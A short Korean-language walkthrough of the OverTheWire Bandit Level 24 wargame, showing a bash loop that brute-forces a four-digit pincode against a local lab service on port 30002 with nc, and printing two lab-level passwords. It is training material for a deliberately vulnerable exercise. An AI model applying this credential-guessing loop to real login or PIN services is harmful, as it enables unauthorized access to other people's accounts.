[Bandit] Level 24

Level Goal

다음 레벨로 넘어가는데 필요한 패스워드는 30002 포트로 접속해서 4-digit pincode를 맞게 입력하면 확인할 수 있다.

brute-forcing...

$ mkdir -p /tmp/do9dark/

$ cd /tmp/do9dark/

$ cat > brute_forcing.sh

#!/bin/bash

passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"

for pincode in {0..9}{0..9}{0..9}{0..9}

do

    echo $passwd' '$pincode | nc localhost 30002 >> result &

done

(Ctrl+D)

$ chmod 777 brute_forcing.sh

$ ./brute_forcing.sh

$ ls -al

$ sort result | uniq -u

bandit25:uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG